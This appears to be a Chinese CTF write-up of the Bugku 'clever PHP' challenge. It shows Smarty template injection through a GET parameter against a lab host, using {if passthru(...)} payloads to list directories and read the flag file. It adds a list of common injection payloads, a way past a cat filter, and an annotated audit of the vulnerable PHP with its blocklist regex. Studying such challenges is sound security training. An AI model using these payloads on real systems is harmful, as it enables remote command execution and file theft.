当前位置: 首页 > news >正文

Bugku-CTF-聪明的php

pass a parameter and maybe the flag file's filename is random :>

传递一个参数,可能标记文件的文件名是随机的:

于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化

3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入

4.根据测试2*4=8,确定是smarty模板注入

测试phpinfo()函数

http://114.67.246.176:18387/?a={if phpinfo()}{/if}

 

5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数过滤

http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}

 

6.没有发现flag,但是发现_12016文件,直接读一波,cat被过滤了,我是用的是more

http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}

 

得到flag

二、知识点

1. 常用payload
smary中的{if}标签中可以执行的php语句

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

 

2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

3.cat绕过
可以使用其他函数如:less、more、tac

4.system|readfile|gz|exec|eval|cat|assert|file|fgets

  1. system: PHP中的system函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system,可能会允许攻击者执行任意命令。

  2. readfile: readfile函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。

  3. gz: 这可能指的是与gz相关的函数,如gzopengzread等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。

  4. exec: 类似于systemexec函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。

  5. eval: eval函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。

  6. cat: 在Unix/Linux系统中,cat命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat函数,但攻击者可能会尝试利用它来读取文件。

  7. assert: PHP中的assert函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert被用来执行外部代码,它可能会成为一个安全漏洞。

  8. file: 可能指的是file_get_contents函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。

  9. fgets: fgets函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>";   #无需审计
$smarty = new Smarty();   #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){highlight_file('index.php'); #高亮文字foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值{print $key."\n";if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html');#    $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
#    ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
#    display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
#    './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  #对value的值进行正则匹配$smarty->display('./template.html');            }else{$smarty->display("eval:".$value);}}
}
?> 

                       
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488

https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc

http://www.lryc.cn/news/414673.html

相关文章:

  • 【MySQL进阶】MySQL主从复制
  • 本地部署文生图模型 Flux
  • 谷粒商城实战笔记-127-全文检索-ElasticSearch-整合-测试复杂检索
  • 解锁PyCharm:破解依赖库导入之谜
  • JSON-Viewer插件:json格式查看器
  • HDFS块信息异常,spark无法读取数据
  • TCP协议概述
  • SpringSecurity-3(认证和授权+SpringSecurity入门案例+自定义认证+数据库认证)
  • 英国AI大学排名
  • 渗透测试与高级攻防技术(二)网络安全技术的前沿探讨:渗透测试与高级攻防
  • Windows系统下安装mujoco环境的教程【原创】
  • 【秋招笔试】2024-08-03-科大讯飞秋招笔试题(算法岗)-三语言题解(CPP/Python/Java)
  • 2024华数杯数学建模竞赛选题建议+初步分析
  • 大模型的经典面试问题及答案
  • nodejs环境搭建
  • C#基础:LINQ表达式的单独定义和编译使用
  • 前端面试:八股文系列(一)
  • 设施农业“AutoML“时代:大模型自动调参,让农业算法模型更简单易用
  • LinkedList接口源码解读
  • nohup将代码放到后端运行查看nohup命令
  • MacOS的100个超实用技巧
  • 本地调试指引文档
  • 【C++】一堆数组 冒泡排序
  • [最短路SPFA]--启动!!!!!
  • 大模型是否潜在地进行多跳推理?
  • 人为什么不能长期待在家里?三个原因告诉你答案
  • MATLAB画散点密度图(附代码和测试数据的压缩包)
  • SSH配置命令
  • 谷粒商城实战记录-虚拟机开启密码认证登录
  • C语言程序设计-[1] 基础语法